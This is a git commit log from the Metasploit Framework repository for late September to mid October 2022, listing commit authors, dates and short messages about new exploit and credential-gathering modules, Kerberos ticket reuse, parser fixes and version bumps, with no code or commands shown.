Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-17 22:49:48 +02:00
Heyder Andrade 7cdf8e181f Update modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-17 22:49:34 +02:00
Jeffrey Martin 82bd12566f remove constant not used 2022-10-17 15:19:35 -05:00
Jeffrey Martin 2022b507a6 Qualys parser now uses 'Nokogiri::XML'/xpath 2022-10-17 15:03:54 -05:00
h00die 05b80631f3 update remote mouse version checks 2022-10-17 15:30:17 -04:00
h00die 08deb21ae3 update remote mouse version checks 2022-10-17 15:29:10 -04:00
Jeffrey Martin 8cc21f9b01 improve qualys import times
When importing data from recent Qualys reports many `RESULT` tags contain
extra long lines and significant content that result in extremely long processing
times when parsed by REXML. By removing all `RESULT` tags not currently processed
during import the time to process data can be significantly improved.
2022-10-17 13:14:55 -05:00
Grant Willcox d3486013f8 Land #17140, Update outdated Alpine docker image to 3.12 to 3.15 and bump Ruby version to 3.0.4 2022-10-17 11:44:57 -05:00
H00die.Gr3y 4615e2f9fb Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-17 19:54:26 +04:00
H00die.Gr3y bc6d63e6e8 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-17 19:54:18 +04:00
Heyder Andrade b3a0d70688 Added prefer admin
- One can now say whether the auto-detect user method should prefer to return the admin or other random one.
2022-10-17 15:16:16 +02:00
Heyder Andrade 5d99428c1d Changed SSH key algorithm and fix bug on cleanup
- Prefer to use EC over RSA, only because it is smaller
- When there was no previous ssh key for such user the cleanup method was trying to overwrite the one on the index 0
2022-10-17 14:40:51 +02:00
Heyder Andrade 71a1c60d49 Sticking to the striced needed
The port in the Forwarded HTTP header can be random.
2022-10-17 13:01:13 +02:00
Ashley Donaldson 16a547d9ed Moved all PKINIT structures into the one file 2022-10-17 18:34:30 +11:00
Ashley Donaldson 09e740d48d Changes from code review 2022-10-17 17:19:50 +11:00
Heyder Andrade aece783cee Added reference to user auto-detect method 2022-10-17 01:11:27 +02:00
Heyder Andrade 422675a0c0 Fixed code-style offenses 2022-10-17 01:08:57 +02:00
Heyder Andrade 6140f0bc4d Added method to auto-detect target user 2022-10-17 00:44:46 +02:00
Heyder Andrade 9241c515d7 Try to cleanup only if there was ssh connection 2022-10-16 18:50:39 +02:00
Heyder Andrade 6cfb277c90 Added cleanup method 2022-10-16 15:09:45 +02:00
Heyder Andrade 0b09e564f1 Improved documentation 2022-10-16 14:25:54 +02:00
Heyder Andrade 835b44ca7a Added documentation 2022-10-16 13:42:21 +02:00
Heyder Andrade 45149c144c Code cleanup and ssh key password
- cleaned up some unecessary code
- add option to the user set an encrypted custom ssh key
2022-10-16 13:32:25 +02:00
Matthew Dunn 4cda8a9d23 Add hashes and better error handling to wmiexec 2022-10-15 16:42:30 -04:00
Heyder Andrade 95b1bffdea Do not overwrite the first two keys 2022-10-15 19:04:53 +02:00
h00die-gr3y ab6ede8ded version based on cdelafuente-r7 comments 2022-10-15 10:45:40 +00:00
Heyder Andrade 47f6971651 It is working but need some improvements 2022-10-15 04:10:12 +02:00
Ron Bowes a2a2dcbf6f Check in zimbra_postfix_priv_esc.rb 2022-10-14 13:21:41 -07:00
Heyder Andrade 31404116a5 Rename module 2022-10-14 22:19:43 +02:00
Patryk Krawaczyński ed5efdf041 Alpine 3.12 - Support ended 5 months and 2 weeks ago (01 May 2022)
Update to 3.15 - Support ends in 1 year (01 Nov 2023).
2022-10-14 21:07:57 +02:00
Heyder Andrade f643bba09a Added module for CVE-2022-40684 2022-10-14 18:36:18 +02:00
H00die.Gr3y 2e9a235ece Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 18:47:40 +04:00
H00die.Gr3y 32acf526b0 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 18:14:33 +04:00
H00die.Gr3y ade8b87e26 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 18:12:12 +04:00
cn-kali-team e227f1c464 update 2022-10-14 19:57:17 +08:00
三米前有蕉皮 414819f0d1 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-14 09:45:37 +08:00
Metasploit 49f3e0d6ec automatic module_metadata_base.json update 2022-10-13 20:02:13 -05:00
adfoster-r7 6a682f4fe6 Land #16982, Update Dell iDRAC login scanner to work with v8 and v9 2022-10-14 01:40:35 +01:00
Metasploit 8e08189921 Bump version of framework to 6.2.23 2022-10-13 12:15:51 -05:00
Metasploit be2f9684ec automatic module_metadata_base.json update 2022-10-12 21:51:32 -05:00
Grant Willcox 2af0a3088b Land #17032, Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814 2022-10-12 21:28:01 -05:00
Grant Willcox a3e32ffafa Add TARGET 0 to documentation 2022-10-12 20:00:33 -05:00
Grant Willcox e9f54aa5b8 Update documentation with better wording, and add randomization of parameter name to module along with cleanup code for deleting uploaded files 2022-10-12 19:16:52 -05:00
Grant Willcox 44271c529f Update code to include defaults that work with standard application 2022-10-12 19:16:52 -05:00
Jack Heysel 9652823393 Reverted check method to upload shell 2022-10-12 19:16:44 -05:00
Jack Heysel f6a36a432c Shortened shellcode 2022-10-12 19:16:43 -05:00
Jack Heysel ffd1d00991 Updated WEBSHELL_NAME option description 2022-10-12 19:16:36 -05:00
Jack Heysel b256a521c8 Changed payload to POST 2022-10-12 19:16:29 -05:00
Jack Heysel 3c27c8e5aa Condensed payload, changed base64 encoding to hex 2022-10-12 19:12:35 -05:00
Jack Heysel e4eac96b4b Add Module for pfSense pfBlockerNG unauth RCE as root 2022-10-12 19:12:22 -05:00
Metasploit b701bffb4b automatic module_metadata_base.json update 2022-10-12 12:23:12 -05:00
Grant Willcox f92d913f0c Land #17116, Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit 2022-10-12 11:53:47 -05:00
bwatters 4aa2b76bde Land #17092, netlm_downgrade Cleanup and support non-Meterpreter sessions
Merge branch 'land-17092' into upstream-master
2022-10-12 11:40:20 -05:00
Grant Willcox 487a26ee0f Add in some missing info to examples, set default port, and update IOCs to note we include some IOCs in the logs 2022-10-12 11:19:47 -05:00
Ayantaker 9abaa00b9e Adding some changes to documentation as per review comments 2022-10-12 11:36:35 -04:00
cn-kali-team f553e6e0f7 update 2022-10-12 21:55:05 +08:00
cn-kali-team d77a965345 update 2022-10-12 21:54:23 +08:00
三米前有蕉皮 bff7d4c320 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 13:53:26 +08:00
三米前有蕉皮 20015d7351 Update documentation/modules/post/windows/gather/credentials/navicat.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 13:52:12 +08:00
三米前有蕉皮 13e92407c1 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-12 13:51:45 +08:00
三米前有蕉皮 1c788b797c Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 13:51:05 +08:00
三米前有蕉皮 2c2d82dd42 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 11:30:05 +08:00
三米前有蕉皮 7caf2eb9dc Update documentation/modules/post/windows/gather/credentials/navicat.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 11:29:25 +08:00
三米前有蕉皮 70400960f4 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-12 11:28:36 +08:00
三米前有蕉皮 dc5b2ae4a6 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-12 10:41:01 +08:00
三米前有蕉皮 0c9e874a65 Update modules/post/windows/gather/credentials/navicat.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-10-12 10:31:16 +08:00
Ayantaker e75438d0b2 Documentation fix and minor fixes
Fixed the documentation according to msftidy's suggestion and removed a few unessary parts of code
2022-10-11 18:17:52 -04:00
Grant Willcox 45aa09411e First round of edits from review 2022-10-11 15:46:04 -05:00
Jeffrey Martin 2097ff132c Land #16987, guard possible RubySMBError condition 2022-10-11 13:12:29 -05:00
Grant Willcox c47ff16107 Land #17123, netrc and fetchmailrc docs 2022-10-11 11:16:48 -05:00
Grant Willcox c587360e90 Minor typo fixes 2022-10-11 10:52:42 -05:00
h00die-gr3y ae0f94beb7 Addressed all commit suggestions 2022-10-09 15:49:58 +00:00
H00die.Gr3y 462b80cf6f Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:59 +04:00
H00die.Gr3y 2b4785915d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:40 +04:00
H00die.Gr3y 7bae00975a Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:23 +04:00
H00die.Gr3y c280e2d57b Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:59:08 +04:00
H00die.Gr3y c1dd09771f Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:36 +04:00
H00die.Gr3y afb87ee87d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:28 +04:00
H00die.Gr3y b37c26da87 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:15 +04:00
H00die.Gr3y b11dbc90a9 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:58:04 +04:00
H00die.Gr3y cbab556e7d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:54 +04:00
H00die.Gr3y 784393e41e Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:45 +04:00
H00die.Gr3y 11f5cff45d Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:30 +04:00
H00die.Gr3y 316c3f5302 Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:17 +04:00
H00die.Gr3y a14ded588b Update modules/auxiliary/gather/hikvision_info_disclosure_cve_2017_7921.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-09 14:57:04 +04:00
h00die 69d1497ae1 netrc and fetchmailrc docs 2022-10-08 10:43:25 -04:00
h00die 4950124ea0 use more Post::File functions 2022-10-08 09:50:25 -04:00
h00die a3eee73efb review comments 2022-10-08 09:16:57 -04:00
Metasploit c2e5931248 automatic module_metadata_base.json update 2022-10-07 16:16:18 -05:00
Ayan Saha f67a7f395f Modified unix_cmd payload as per suggestion
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-08 02:26:11 +05:30
Ayan Saha ec57260c66 Adding suggested code
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-08 02:25:35 +05:30
bwatters ef0ca2edbb Land #17057, Msf::Post::Windows::ExtAPI: Remove load_extapi method
Merge branch 'land-17057' into upstream-master
2022-10-07 15:54:52 -05:00
Metasploit bd26085425 automatic module_metadata_base.json update 2022-10-07 14:13:34 -05:00
Grant Willcox b626278c48 Land #17118, Fixed "Manage Engine" and Updated the link 2022-10-07 13:52:41 -05:00
JustAnda7 412a07df54 Fixed #16674 2022-10-07 14:35:21 -04:00
Grant Willcox abd8ad1d7d Restore ADCS certificate template gathering option and add in some new fields that should prove to be useful 2022-10-07 12:47:19 -05:00
Grant Willcox 33dc2f1109 Add in DNS zone enumeration option 2022-10-07 12:47:12 -05:00
Grant Willcox bbf8017570 Add in references for the various queries 2022-10-07 12:47:10 -05:00
Grant Willcox e7fbda96e3 Add in new LDAP queries to help with various attack paths 2022-10-07 12:47:10 -05:00
Ayantaker 32db330ff6 Fixing the rubocop issue 2022-10-07 11:08:01 -04:00
JustAnda7 36f4c702b3 Fixed #16674 2022-10-07 01:59:52 -04:00
Ashley Donaldson c7bab60a3e Fix to support DNS entries in certificate files 2022-10-07 15:17:07 +11:00
Ashley Donaldson aa98c9d004 Removed vestigial test 2022-10-07 14:29:20 +11:00
Ashley Donaldson 80bb1867bc Added documentation for the module 2022-10-07 14:24:37 +11:00
Ashley Donaldson db12c7e0f0 Added tests for parsing new Kerberos structures 2022-10-07 14:04:24 +11:00
usiegl00 bceaf5cd70 Back from the dyld: clean up mmap.
The mmap permissions prior to mprotect during the region mapping should
be write only. I also added a few more comments detailing the usage of
structs in dyld4.
2022-10-07 09:57:53 +09:00
Ashley Donaldson 793a05f9f3 Added comments for new functions 2022-10-07 11:55:47 +11:00
Ashley Donaldson b5a076a1f1 Neaten parameter and error handling 2022-10-07 11:24:39 +11:00
Ashley Donaldson 063a768959 Store ccache 2022-10-07 09:56:11 +11:00
Metasploit 134231bec4 automatic module_metadata_base.json update 2022-10-06 16:54:22 -05:00
Jack Heysel 6db965cf72 Land #17075, windows_secrets_dump non-admin fix
The module was failing early for non-administrative users.
This fixes the issue so the module now throws warnings where
it was previously failing early.
2022-10-06 17:31:15 -04:00
Ayantaker 910ee931c2 Fixing the description of the module 2022-10-06 15:55:32 -04:00
Ayantaker c8cd6a7864 Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit
CVE-2022-22947 exploits Spring Cloud Gateway. The module has been tested with Spring Cloud gateway version 3.1.0 on Linux kali 5.18.0-kali5-amd64
2022-10-06 15:48:36 -04:00
Ron Bowes 48dd4693df Add docs for CVE-2022-41352 (zimbra cpio), and fix some text 2022-10-06 10:46:48 -07:00
Ron Bowes 08c29f7f28 Add exploit for CVE-2022-41352 (zimbra cpio) 2022-10-06 10:23:53 -07:00
Metasploit edfc68a809 Bump version of framework to 6.2.22 2022-10-06 12:10:14 -05:00
bwatters fc6cdd2a92 Land #17072, Add robustness to shell command token delimiting
Merge branch 'land-17072' into upstream-master
2022-10-06 10:28:14 -05:00
bwatters c77b35d544 remove module_function declarations 2022-10-06 10:21:36 -05:00
Ashley Donaldson 58c30f10aa Send and Receive PKINIT responses 2022-10-07 01:04:10 +11:00
h00die 525d2ff4ea check files exist before suid checking them 2022-10-05 19:59:20 -04:00
h00die 6db9ee743e check files exist before suid checking them 2022-10-05 19:43:07 -04:00
Metasploit b6cdb6785a automatic module_metadata_base.json update 2022-10-05 13:40:34 -05:00
Jack Heysel 7e54725a3a Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2022-10-05 14:19:37 -04:00
Jack Heysel 60c21da50e Land #17009, Add MobaXterm cred gather module
This module determines if MobaXterm is installed and if
it is dumps all saved session information from the target
2022-10-05 14:14:27 -04:00
Metasploit 54c71b7d44 automatic module_metadata_base.json update 2022-10-05 13:13:18 -05:00
adfoster-r7 c595c5cc8b Land #17108, Update Azure AD Scanner Error Code Check for Disabled Accounts 2022-10-05 18:52:39 +01:00
三米前有蕉皮 9155f42553 Update modules/post/windows/gather/credentials/moba_xterm.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-10-06 01:39:28 +08:00
Matthew Dunn 774f9c6e48 Use the right quotation marks 2022-10-05 13:19:36 -04:00
Matthew Mathur 24e1a026d4 Update locked error message
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-10-05 13:03:34 -04:00
Metasploit 41ee2596d6 automatic module_metadata_base.json update 2022-10-05 06:00:11 -05:00
adfoster-r7 e2ce631709 Land #17019, Update CCache Reuse for TGTs (and Golden Tickets) 2022-10-05 11:40:25 +01:00
adfoster-r7 46910b9390 Land #17105, set keep_cookies value to boolean true instead of string true 2022-10-05 11:37:37 +01:00
Gábor Lipták 548c3408a8 Bump actions/github-script to v6
Signed-off-by: Gábor Lipták <gliptak@gmail.com>
2022-10-04 19:47:20 -04:00
Matthew Dunn 4a2d485228 Update error conditions to include account disablement 2022-10-04 16:57:59 -04:00
Metasploit a73461e96b automatic module_metadata_base.json update 2022-10-04 13:36:46 -05:00
Jack Heysel 0145264046 Land #17093, add Enlightenment priv esc module
This PR adds a local priv esc for Enlightenment on Ubuntu
which exploit a simple cmd injection
2022-10-04 14:09:18 -04:00
Metasploit 911ecd0256 automatic module_metadata_base.json update 2022-10-04 12:04:11 -05:00
space-r7 63af4e3702 Land #17067, add remote mouse rce 2022-10-04 11:40:33 -05:00
cn-kali-team 819dcd7889 update 2022-10-04 17:57:28 +08:00
h00die 06aefb630a string true to bool true 2022-10-03 19:50:04 -04:00
Metasploit 87fa4868cc automatic module_metadata_base.json update 2022-10-03 16:25:05 -05:00
Jack Heysel 17b884b2d4 Merge branch 'master' into upstream-master 2022-10-03 17:01:51 -04:00
Jack Heysel edc0c622fc Land #17099, Wordpress Elementor plugin RCE
This PR adds a new authenticated exploit module against
3 versions of Elementor, a plugin for Wordpress.
2022-10-03 16:59:38 -04:00
h00die b7073df1e0 review comments 2022-10-03 16:53:14 -04:00
Metasploit d471ebe0ac automatic module_metadata_base.json update 2022-10-03 15:33:56 -05:00
bwatters 052d233bd9 Land #17006, Gather_RedisDesktopManager_Password
Merge branch 'land-17006' into upstream-master
2022-10-03 15:10:30 -05:00
h00die 68b2aec6fb review comments 2022-10-03 15:25:53 -04:00
h00die fffc080286 use vars_form_data 2022-10-03 14:43:12 -04:00
Spencer McIntyre 5d88a28fa4 Update YARD docs for TGT reuse 2022-10-03 09:04:30 -04:00
krastanoel 95503be49a Update documentation 2022-10-03 19:57:25 +07:00
krastanoel bd15798be7 support windows platform 2022-10-03 19:57:09 +07:00
Christophe De La Fuente 117d7026e4 Fix from code review 2022-10-03 10:41:15 +02:00
h00die-gr3y 08640f0d65 Updated documentation 2022-10-02 20:20:20 +00:00
h00die c6e18ee469 cve-2022-1329 2022-10-02 15:59:58 -04:00
h00die-gr3y 7ae0f552f3 init commit module and documentation 2022-10-02 19:47:47 +00:00
cn-kali-team 3fa2268aa1 fix username 2022-10-03 00:07:30 +08:00
cn-kali-team 2f3378fc4a Gather_Navicat 2022-10-02 23:48:09 +08:00
h00die de184226f6 repeatable sessions 2022-10-01 11:30:21 -04:00
h00die e78babea90 cve-2022-37706 2022-10-01 11:24:29 -04:00
Metasploit 27f3acd620 automatic module_metadata_base.json update 2022-10-01 08:20:04 -05:00
krastanoel aa0dc86bd8 get csrf from the html body instead 2022-10-01 19:59:23 +07:00
adfoster-r7 1379682fc4 Land #17091, fix Stability/SideEffects/Reliability notes for several modules 2022-10-01 13:58:05 +01:00
bcoles 3ffbc99d9f netlm_downgrade: Cleanup and support non-Meterpreter sessions 2022-10-01 22:35:11 +10:00
krastanoel e3fc3544cd still could not yet support windows 2022-10-01 17:44:44 +07:00
krastanoel 02b5f8678c add repository error class 2022-10-01 17:43:42 +07:00
krastanoel e9d8068078 update and tidy the lib comments 2022-10-01 16:22:21 +07:00
krastanoel 15c956c2d6 Update module
- add command stagers logic
- set default uripath
2022-10-01 16:19:43 +07:00
krastanoel 046bb356fb adjust uripath 2022-10-01 15:17:28 +07:00
bcoles 5f92d9418d Modules: Fix Stability/SideEffects/Reliability notes for several modules 2022-10-01 17:54:59 +10:00
h00die 781ce211fe remove un-needed spec tests 2022-09-30 16:55:49 -04:00
h00die b62dd604b1 fix passwords on command prompt 2022-09-30 16:34:05 -04:00
bwatters c17c78bc0f Land #16995, Add TrustedSec's COFFLoader as Meterpreter Extension
Merge branch 'land-16995' into upstream-master
2022-09-30 14:14:39 -05:00
Metasploit 515f22e61b automatic module_metadata_base.json update 2022-09-30 13:57:33 -05:00
Jack Heysel 1c6ed2d9b4 Land #17070, Grafana auth bypass enhancement
Remove unneccessary use of len cookie
2022-09-30 14:32:44 -04:00
krastanoel 2331f21f9e Update module
- adjust create, migrate and delete repository with the common lib
2022-10-01 01:16:18 +07:00
krastanoel cc2db82886 add repository create and migrate helpers 2022-10-01 01:13:28 +07:00
Metasploit 09cd857779 automatic module_metadata_base.json update 2022-09-30 13:12:55 -05:00
krastanoel 29944a0a1b add repository create and migrate url 2022-10-01 01:12:54 +07:00
krastanoel c5d3867980 add migration error class 2022-10-01 01:11:58 +07:00
krastanoel 88e4261a88 Add common lib for Gitea repository 2022-10-01 01:10:55 +07:00
bwatters 7fb073f725 Land #17086, Bump payloads to 2.0.97
Merge branch 'land-17086' into upstream-master
2022-09-30 12:35:55 -05:00
Spencer McIntyre 421121736d Load and use cached TGTs 2022-09-30 13:23:52 -04:00
Spencer McIntyre a619303f2c Save tickets in a compatible way for retrieval 2022-09-30 13:23:52 -04:00
Spencer McIntyre acbe644588 Document some of the parameter types 2022-09-30 13:23:52 -04:00
Spencer McIntyre 82912aad38 Support delegation from stored TGTs 2022-09-30 13:23:52 -04:00
Spencer McIntyre 081d66330b Add a constructor method for Krb5Ccache 2022-09-30 13:23:52 -04:00
Spencer McIntyre 89c3792886 Allow authenticating with stored TGTs 2022-09-30 13:23:52 -04:00
Spencer McIntyre 6bd9de43d6 Add the #request_service_ticket method 2022-09-30 13:23:52 -04:00
Jack Heysel ae1af7f543 Merge branch 'master' into upstream-master 2022-09-30 13:21:50 -04:00
Jack Heysel 9ad513dade Land #16933, Thycotic Secret Server post module
This PR adds a post exploitation module that exports
and decrypts Thycotic Secret Server credentials
2022-09-30 13:16:05 -04:00
bwatters 2c93f16eed Bump payloads to 2.0.97 2022-09-30 12:10:15 -05:00
bwatters f4d1430656 Land #17085, Update ranking for nft_set_elem_init
Merge branch 'land-17085' into upstream-master
2022-09-30 12:04:41 -05:00
krastanoel 953221d518 Handle datastore username empty string 2022-09-30 22:23:40 +07:00
Metasploit eefae5a72c automatic module_metadata_base.json update 2022-09-30 10:17:18 -05:00
krastanoel 381bdbae7f Update module
- adjust check method using common lib
- handle autocheck false
2022-09-30 22:14:45 +07:00
krastanoel cbff63958c Move version check and login to common library 2022-09-30 22:09:01 +07:00
bwatters 89ef91c9cd Update ranking for nft_set_elem_init 2022-09-30 09:57:54 -05:00
adfoster-r7 d49603e3f9 Land #17078, Updates deprecated methods in rservices modules 2022-09-30 15:55:12 +01:00
cgranleese-r7 38b05cb802 Updates deprecated method in rlogin module 2022-09-30 14:28:42 +01:00
krastanoel 36f3a7ce11 update options description 2022-09-30 16:57:59 +07:00
krastanoel 7e46ba4575 use fail with instead checkcode 2022-09-30 16:50:34 +07:00
krastanoel e1284ea17d handle get_csrf check caller separately 2022-09-30 16:45:49 +07:00
Ashley Donaldson ebb38454e4 Restored the _win32 and _unix functions used in Pro 2022-09-30 14:04:40 +10:00
cn-kali-team 331f8063d7 Only used in the current session 2022-09-30 11:38:34 +08:00
Metasploit 47ea5d9b1d Bump version of framework to 6.2.21 2022-09-29 19:43:39 -05:00
usiegl00 8aa01bfbcd Back from the dyld: fix addr_main assignment.
When using the legacy technique, addr_main was being redifined. This
caused the access to addr_main outside the if statement to segfault.
2022-09-30 06:46:45 +09:00
Metasploit f11382d7b1 automatic module_metadata_base.json update 2022-09-29 16:22:56 -05:00
bwatters 9e74b9887d Land #17048, enum_tokens: Cleanup
Merge branch 'land-17048' into upstream-master
2022-09-29 15:58:46 -05:00
h00die 1215bf7784 cve 2022-09-29 16:35:09 -04:00
h00die a31e3ea96b remote mouse comments 2022-09-29 16:21:59 -04:00
Metasploit b37fa31420 automatic module_metadata_base.json update 2022-09-29 14:17:30 -05:00
adfoster-r7 71231ec7e1 Land #17073, fix broken sessions in rservices modules 2022-09-29 19:55:49 +01:00
jheysel-r7 e06acc7df0 Update documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md 2022-09-29 13:59:01 -04:00
jheysel-r7 3b150ab3db Update modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb 2022-09-29 13:58:54 -04:00
jheysel-r7 e8d4bcdcc6 Update documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md 2022-09-29 13:58:37 -04:00
jheysel-r7 30e27d832e Update modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb 2022-09-29 13:58:30 -04:00
jheysel-r7 713d63654b Update documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md 2022-09-29 13:58:22 -04:00
Spencer McIntyre c89d0a7b02 Land #17079, Merge latest master
Merge latest master into Kerberos feature branch
2022-09-29 13:10:06 -04:00
adfoster-r7 5d345e6689 Merge branch 'upstream-master' into feature-kerberos-authentication 2022-09-29 16:42:58 +01:00
Metasploit da5c97bf2c automatic module_metadata_base.json update 2022-09-29 10:10:30 -05:00
bwatters 76c6632305 Land #16673, qdPM 9.1 - Authenticated Remote Code Execution (CVE-2020-7246)
Merge branch 'land-16673' into upstream-master
2022-09-29 09:46:27 -05:00
Jeffrey Martin 7138c0ccc5 Land #17069, Remove sqlite3 Gemfile.lock linux 2022-09-29 09:28:25 -05:00
cn-kali-team 1d1308b870 Use the set master password only when using the specified path,Print once 2022-09-29 22:15:33 +08:00
Christophe De La Fuente 8f3c8a49ed Fix non-admin error
- Remove unecessary `print_error`
- Do not fail when an error occurs in the early processes and action is
  ALL or DOMAIN
- Print error about NoLMHash policy only once
- rubocop fixes
2022-09-29 12:47:14 +02:00
cgranleese-r7 730746f873 Fixes broken sessions in rservices modules 2022-09-29 09:44:29 +01:00
Ashley Donaldson f59a84ac5d Add robustness to detection and use of echo-y/non-echo-y shells 2022-09-29 11:00:56 +10:00
usiegl00 ce75cb2afc Back from the dyld: clean up source code.
This fixes a floating `\t` in a struct definition. This also adds more
clarity to a set of dprintf statements regarding the region. This fixes
the indentation for a comment as well.
2022-09-29 07:58:23 +09:00
Ashley Donaldson af0832c3c3 Properly support Windows for detecting echo shells 2022-09-29 07:44:53 +10:00
ahzam b0e3e95439 Minor Refactor: Remove unneccessary len(cookie) 2022-09-29 01:46:07 +05:00
Metasploit e446fe4e83 automatic module_metadata_base.json update 2022-09-28 10:17:23 -05:00
Jack Heysel 379f303ea8 Land #17061, Mobile Mouse Server RCE
This PR includes a module that uses default
configuration in Unified Remote to spawn a
run prompt and return a shell.
2022-09-28 10:48:41 -04:00
adfoster-r7 97c99f46b6 Remove sqlite3 Gemfile.lock linux platform metadata 2022-09-28 15:45:15 +01:00
usiegl00 64231dad67 Back from the dyld: vm_allocate to fix corruption.
This fixes the corruption incidentally resolved by assigning to an
unused variable by properly allocating memory for structs before
assigning to them. This will resolve the segfault on return issue, as
the saved return address is no longer clobbered.
2022-09-28 20:58:48 +09:00
Metasploit 5dc791fb9a automatic module_metadata_base.json update 2022-09-27 17:01:50 -05:00
bwatters e27dbd2787 Land #16794,Add exploit for CVE-2022-34918
Merge branch 'land-16794' into upstream-master
2022-09-27 16:37:52 -05:00
h00die a070cd3a76 remote mouse comments 2022-09-27 16:52:42 -04:00
h00die 391a27b08c remote mouse rce 2022-09-27 16:37:42 -04:00
h00die 547ab00a0e review comments 2022-09-27 14:51:03 -04:00
Spencer McIntyre e8fb6e5e80 Add execute_bof documentation 2022-09-27 14:29:56 -04:00
Metasploit e4ed187ec2 automatic module_metadata_base.json update 2022-09-27 11:13:02 -05:00
cgranleese-r7 8cbcc2f473 Land #17064, Fix beagent sha auth linting 2022-09-27 16:50:23 +01:00
cn-kali-team 2b9ca50261 CONFIG_PATH 2022-09-27 23:39:54 +08:00
adfoster-r7 a05606ff33 Fix beagent sha auth linting 2022-09-27 16:23:05 +01:00
Metasploit 465ed19a7b automatic module_metadata_base.json update 2022-09-27 10:10:48 -05:00
bwatters 3170eac829 Land #16981, enum_domain_tokens: Cleanup and fix group member retrieval
Merge branch 'land-16981' into upstream-master
2022-09-27 09:47:34 -05:00
Metasploit 35de720371 automatic module_metadata_base.json update 2022-09-27 08:15:27 -05:00
adfoster-r7 6cd2c6a82d Land #17025, Allow user_id to be configurable in ticket forging 2022-09-27 13:53:36 +01:00
adfoster-r7 2364d7074f Land #16960, Add ruby debug to Gemfile 2022-09-27 12:05:58 +01:00
adfoster-r7 2388f7e6c4 Land #17054, Fix Adapted Single (Unstaged) Payloads 2022-09-27 11:54:04 +01:00
